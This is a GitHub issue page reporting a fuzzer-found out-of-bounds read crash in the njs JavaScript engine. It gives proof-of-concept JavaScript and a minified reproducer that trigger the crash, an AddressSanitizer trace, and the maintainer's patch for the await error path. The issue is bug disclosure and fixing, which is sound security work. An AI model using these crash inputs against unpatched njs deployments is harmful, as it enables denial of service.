Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SEGV njs_scope.h:74:12 Out-of-bounds Read in njs_scope_value #506

Closed
dramthy opened this issue May 30, 2022 · 2 comments
Closed

SEGV njs_scope.h:74:12 Out-of-bounds Read in njs_scope_value #506

dramthy opened this issue May 30, 2022 · 2 comments
Assignees

Comments

@dramthy
Copy link

dramthy commented May 30, 2022

Environment

Commit  : 9f4ebc96148308a8ce12f2b54432c87e6d78b881
Version : 0.7.4
Build   : 
     ./configure --cc=clang --address-sanitizer=YES     
     make

Proof of concept

// Minimizing 34F6ED23-C193-452B-B724-E62BD7E15360
function placeholder(){}
function main() {
function v0(v1,v2,v3,v4,...v5) {
    try {
        async function v7(v8,v9,v10,v11) {
            var v12 = await Proxy;
        }
        var v13 = v0();
    } catch(v14) {
    } finally {
    }
    var v15 = {};
    var v16 = /gL8?/;
    var v17 = {};
    var v18 = [v15,v17,v16];
    function v20(v21) {
        v18[1866532165] = Map;
    }
    async function v24(v25,v26) {
        var v27 = await Map;
    }
    function v28(v29,v30) {
    }
    var v32 = new Promise(v28);
    var v34 = v32["catch"]();
    var v37 = {"get":Promise,"set":v24};
    var v38 = Object.defineProperty(v34,"constructor",v37);
    async function v39(v40,v41) {
        var v42 = await v38;
    }
    var v43 = v39();
    var v44 = v20(Map);
}
var v45 = v0();
}
main();

Minified

function run_then() {}

function f(n) {
    if (n == 2) {
        return;
    }

    try {
        f(n + 1);
    } catch(e) {
    }


    var p = new Promise(run_then);
    Object.defineProperty(p, "constructor", {get: () => ({}).a.a});
    async function g() {
        await p;
    }

    g();

    throw 'QQ';
}

f(0);

Stack dump

AddressSanitizer:DEADLYSIGNAL
=================================================================
==815==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004ff20b bp 0x7ffc7abf6030 sp 0x7ffc7abf5880 T0)
==815==The signal is caused by a READ memory access.
==815==Hint: address points to the zero page.
    #0 0x4ff20b in njs_scope_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12
    #1 0x4ff20b in njs_scope_valid_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:84:13
    #2 0x4ff20b in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:155:13
    #3 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
    #4 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
    #5 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
    #6 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
    #7 0x7f8dc7694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
    #8 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 in njs_scope_value
==815==ABORTING


Credit
dramthy(@topsec alpha)

@xeioex
Copy link
Contributor

xeioex commented Jun 2, 2022

The patch

# HG changeset patch
# Parent  d63163569c25cb90fe654f0fedefde43553f833a
Fixed njs_vmcode_interpreter() when await fails.

Previously, while interpreting a user function, njs_vmcode_interpreter()
might return prematurely when an error happens in await instruction.
This is not correct because the current frame has to be unwound (or
exception caught) first.

The fix is exit through only 5 appropriate exit points to ensure
proper unwinding.

The patch correctly fixes issue reported in 07ef6c1f04f1 (0.7.3).

This closes #506 issue on Github.

diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -858,7 +858,12 @@ next:
 
                 njs_vmcode_debug(vm, pc, "EXIT AWAIT");
 
-                return njs_vmcode_await(vm, await, promise_cap, async_ctx);
+                ret = njs_vmcode_await(vm, await, promise_cap, async_ctx);
+                if (njs_slow_path(ret == NJS_ERROR)) {
+                    goto error;
+                }
+
+                return ret;
 
             case NJS_VMCODE_TRY_START:
                 ret = njs_vmcode_try_start(vm, value1, value2, pc);
@@ -1923,6 +1928,7 @@ njs_vmcode_await(njs_vm_t *vm, njs_vmcod
 
     value = njs_scope_valid_value(vm, await->retval);
     if (njs_slow_path(value == NULL)) {
+        njs_internal_error(vm, "await->retval is invalid");
         return NJS_ERROR;
     }
 

@dramthy
Copy link
Author

dramthy commented Jun 2, 2022

Yes, I check the patch is valid for #506,#508,#509,#510,#511,#512,#513,#514,#515,#516,#518,#519,#520,#521,#525,#526,#527,#528. @xeioex

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants